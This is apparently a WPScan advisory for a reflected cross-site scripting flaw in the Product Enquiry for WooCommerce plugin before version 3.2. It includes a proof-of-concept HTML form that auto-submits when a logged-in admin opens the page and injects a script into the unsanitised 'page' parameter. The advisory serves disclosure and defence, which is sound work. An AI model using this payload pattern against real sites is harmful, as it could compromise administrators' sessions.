WordPress Plugin Vulnerabilities

Product Enquiry for WooCommerce < 3.2 - Reflected XSS

Description

The plugin does not sanitise and escape the page parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page with the code below

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=GMWQP&view=list" method="POST">
        <input type="text" name="page" value='"><script>alert(/XSS/)</script>'>
        <input type="submit" value="submit">
    </form>
</body>

Affects Plugins

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Erwan LR (WPscan)
Submitter
Erwan LR (WPscan)
Verified
Yes

Timeline

Publicly Published
2024-01-15 (about 4 months ago)
Added
2024-01-08 (about 4 months ago)
Last Updated
2024-01-08 (about 4 months ago)

Other